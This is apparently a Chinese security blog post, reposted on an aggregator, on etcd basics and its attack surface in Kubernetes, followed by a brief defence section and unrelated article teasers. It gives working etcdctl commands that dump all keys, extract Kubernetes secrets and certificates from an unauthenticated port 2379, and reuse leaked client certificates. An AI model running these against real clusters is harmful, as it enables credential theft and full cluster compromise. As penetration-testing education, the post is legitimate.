云安全—etcd攻击面

news2024/11/26 12:38:01

0x00 前言

本篇还是一样,先来说一说etcd是什么,干啥的,然后再来看看etcd的攻击面到底有哪些,做一个抛砖引玉的作用,如有不妥之处还请斧正

0x01 etcd

依旧还是按照问问题的方式来进行阐述,因为学到的东西终归还是要能讲出来才能更加的了解和深入。

  • 什么是etcd
  • etcd的特点是什么
  • 和redis的区别
  • etcd作用的场景
  • etcd和zookeeper的区别
  • etcd版本区别

1.什么是etcd

etcd是一个可靠的kv存储系统,常用于在分布式系统中存储数据,是一个采用go语言开发的开源的系统。

2. etcd的特点是什么

  • 简单,提供面向客户的API
  • 安全,SSL认证
  • 性能,支持1w+/sec写入
  • 可靠,采用Raft协议保证分布式系统数据的可用性和一致性。

Raft是一种分布式一致性协议,相对于Pasox而言更加简单,都旨在解决分布式系统中的数据一致性和高可用性的问题

3.etcd和redis的区别

etcd主要应用场景在于可靠,也就是一致性,redis主要是在于读取性能。

4.etcd的作用场景

  • 分布式场景
  • 服务注册和发现
  • 消息发布和订阅

5.etcd和zookeeper的区别

实际上可以这样理解etcd的原理是基于zookeeper进行实现的,保证了良好的一致性,才让etcd在分布式系统中出人头地~

6.etcd版本区别

在 etcd v2 版本中,客户端采用的是 HTTP+JSON 的方式与 Server 端进行交互。

在 etcd v3 版本中,客户端采用的是 GRPC 的方式与 Server 端进行交互,GRPC是一种效率高于rest接口的接口对接方式,但是对于浏览器的适配度不高,直接客户端到服务端进行交互。gRPC 由于其 protoc 编译器而具有原生代码生成功能,该编译器与多种编程语言兼容。这对于集成了以不同语言和平台开发的各种服务的微服务系统来说尤其方便。

0x02 攻击面

etcd默认端口是2379和2380,2379端口主要是用来http接口通信,2380是和和 peer 通信,这里的peer是raft节点的代表,按照字面理解的话实际上就是内部通信使用的节点。

通常情况下会使用密钥对peer.key和peer.cert来保护etcd成员之间的通信。那么攻击面就出来了。

1.3379端口外网开放+client-cert-auth未授权

虽然外网开放,但是外网开放也是需要权限才可以进行访问的。所以这里需要搭配client-cert-auth未授权来进行利用。

配置文件:/etc/kubernetes/manifests/etcd.yaml
首先注释掉client-cert-auth=true这一行,然后将https改为http。

在这里插入图片描述

这里直接访问2379端口

在这里插入图片描述

工具操作下载地址:https://github.com/etcd-io/etcd/releases/

利用方式:

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix

在这里插入图片描述

指定输出的格式–write-out=“json”

在这里插入图片描述

获取所有的数据

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / –prefix --write-out="json" --write-out="json" > dump.txt

获取secrets

etcdctl.exe --endpoints=http://192.168.247.156:2379/ get / --prefix --keys-only | grep /secrets/
在这里插入图片描述

获取证书,这里获取到证书和token就相当于是已经拿下了k8s master,相当于整个k8s已经整个沦陷了。

在这里插入图片描述

2.client-cert-auth泄露

泄露的方式有两种,一种是泄露,还有一种就是被人窃取留作后门,泄露的方式多种多样,管理面的以及技术面的,存在任意文件下载,或者读取漏洞等都可能会造成证书的遗失。

利用方式如下:

etcdctl.exe --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.247.156:2379/ --cacert=ca.crt --key=healthcheck-client.key --cert=healthcheck-client.crt endpoint health

其他的利用方式和未授权是一致的。

0x03 防护面

需要做的还是策略向的,比如检查端口是否外网开放,或者是内部开放,最好的还是谁用谁申请,申请后才可以进行使用。

证书的保护机制同密码保护,谁用谁申请,能原地生成就原地生成,使用完之后立刻删除,最好有行为检测,可以通过AI模型计算是否处于异常的使用状态,或者是针对执行的内容进行防护,正常运维很少会使用到一些命令或者操作,如果出现就可以进行标点标记,进行观察以便最快速度进行阻断或者预防。

其实这个点同时可以作为蜜罐,诱导攻击者获取指定权限,从而监控后续操作。

以上。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1162437.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【一文搞定--web 自动化之文件上传】

在做web自动化时,我们经常会碰到一些场景需要进行文件上传,而文件上传打开的窗口属于windows控件,通过Selenium是操作不了的,此篇文章给大家介绍几种实现方法。 前言 方法一:sendKeys 前提条件:文件上传元…

51单片机电子钟闹钟温度LCD1602液晶显示设计( proteus仿真+程序+原理图+设计报告+讲解视频)

51单片机电子钟闹钟温度液晶显示设计( proteus仿真程序原理图设计报告讲解视频) 1.主要功能:2.仿真3. 程序代码4. 原理图5. 设计报告6. 设计资料内容清单&&下载链接资料下载链接(可点击): 🌟51单片…

2103. 环和杆

2103. 环和杆 难度: 简单 来源: 每日一题 2023.11.02 总计有 n 个环,环的颜色可以是红、绿、蓝中的一种。这些环分别穿在 10 根编号为 0 到 9 的杆上。 给你一个长度为 2n 的字符串 rings ,表示这 n 个环在杆上的分布。rings 中每两个字符形成一个…

汇编-算术运算符

下面给出了一些有效表达式和它们的值:

跆拳道馆展示服务预约小程序的效果如何

除了书本上的知识,很多人或孩子会选择学习一些技能,如游泳、钢琴、棋艺花艺等,跆拳道也拥有较高的客户群体,但由于需求属性较强,因此在实际发展中,商家宣传推广、获取线索、服务赋能方面不足。 如今互联网…

在微信小程序怎么领取优惠券

随着科技的发展,微信小程序已经成为我们日常生活中不可或缺的一部分。它为我们提供了各种各样的服务,使我们的生活变得更加便捷。而在这些服务中,领取优惠券成为了大家特别喜欢的功能之一。本文将详细介绍如何在微信小程序中领取优惠券&#…

文件夹怎么设置密码?电脑怎么设置文件夹密码?

在使用电脑的过程中,我们经常使用文件夹来储存管理文件。而为了保护文件夹的数据安全,我们可以为文件夹设置密码。那么,电脑怎么设置文件夹密码呢?下面我们就一起来了解一下。 文件夹设置密码的要求 文件夹设置密码很简单&#…

ELK + kafka 日志方案

概述 本文介绍使用ELK(elasticsearch、logstash、kibana)  kafka来搭建一个日志系统。主要演示使用spring aop进行日志收集,然后通过kafka将日志发送给logstash,logstash再将日志写入elasticsearch,这样elasticsearc…

【C++】关于构造函数后面冒号“:“的故事------初始化列表(超详细解析,小白一看就懂)

目录 一、前言 二、 初始化的概念区分 三、初始化列表 (重点) 💦初始化列表的概念理解 💦初始化列表的注意事项 四、共勉 一、前言 在之前的博客学习中,我们已经学习了【C】的六大默认成员函数 ,想必大…

MySQL数据库入门到精通——运维篇(2)

MySQL数据库入门到精通——运维篇(2) 1. 分库分表1.1 分库分表介绍1.1.1 现在的问题1.1.2 拆分策略1.1.2.1 垂直拆分策略1.1.2.2 水平拆分策略 1.2 Mycat概述1.3 Mycat入门1.4 Mycat配置1.4.1 Schema标签1.4.2 Datanode标签1.4.3 Datahost标签1.4.4 rule…

蓝桥杯每日一题2023.11.2

题目描述 等差素数列 - 蓝桥云课 (lanqiao.cn) 题目分析 对于此题我们需要求出最小的公差并且长度为10, 1.确保序列开始为素数 2.确定枚举的个数 注意:序列中数只是d的变化,可以通过此计算将开始数字后9个数字都计算出来,d是…

PostgreSQL逻辑管理结构

1.数据库逻辑结构介绍 2.数据库基本操作 2.1 创建数据库 CREATE DATABASE name [ [ WITH ] [ OWNER [] user_name ] [ TEMPLATE [] template ] [ ENCODING [] encoding ] [ LC_COLLATE [] lc_collate ] [ LC_CTYPE [] lc_ctype ] [ TABLESPACE [] tablespace ] [ CONNECTION L…

网络取证-Tomcat-简单

题干: 我们的 SOC 团队在公司内部网的一台 Web 服务器上检测到可疑活动。为了更深入地了解情况,团队捕获了网络流量进行分析。此 pcap 文件可能包含一系列恶意活动,这些活动已导致 Apache Tomcat Web 服务器遭到破坏。我们需要进一步调查这一…

【LeetCode:2103. 环和杆 | 模拟】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

nexus搭建npm私有镜像

假设有一个nexus服务,地址为: http://10.10.33.50:8081/ 创建存储空间 登录后创建存储空间,选择存储类型为File,并设置空间名称为 npm-private 创建仓库类型 2.1 创建hosted类型仓库 创建一个名为 npm-hosted 的本地类型仓库 2.…

SpringCloud 微服务全栈体系(十)

第十章 RabbitMQ 一、初识 MQ 1. 同步和异步通讯 微服务间通讯有同步和异步两种方式: 同步通讯:就像打电话,需要实时响应。 异步通讯:就像发邮件,不需要马上回复。 两种方式各有优劣,打电话可以立即得…

弹幕互动游戏运营模式你知道吗?

分享一个今年最新的风口项目,弹幕互动游戏。这种游戏类型是,主播真人出镜主持游戏过程,观众在直播间通过评论和礼物可以加入,并且操控游戏里的角色,等于是游戏和直播的结合。那普通人怎么把握这波风口呢? 说…

氮化硼纳米球 BN纳米球 hexagonal boron nitride

(西)氮化硼纳米球 (安)用途:科研 (瑞)平均粒径:50nm (禧)纯度:99.9% (生)比表面积:54.23m2/g &#xff0…

“利用Lazada API揭秘电商数据:一键获取海量商品详情!“

要使用Lazada API获取Lazada商品详情,您需要先注册Lazada开发者账号并获取授权码和密钥。然后,通过调用Lazada API的item_get接口,传入商品ID和国家域名后缀,即可获取到商品的详细信息。 以下是使用Lazada API获取Lazada商品详情…

一篇文章让你了解MySQL中的索引

索引是怎么提高查询效率的?可以为了提高查询效率增加索引么?mysql索引系统采用的数据结构是什么?为什么要使用B树?聚集索引相对于非聚集索引的区别?什么是回表?什么是索引覆盖?什么是最左匹配原…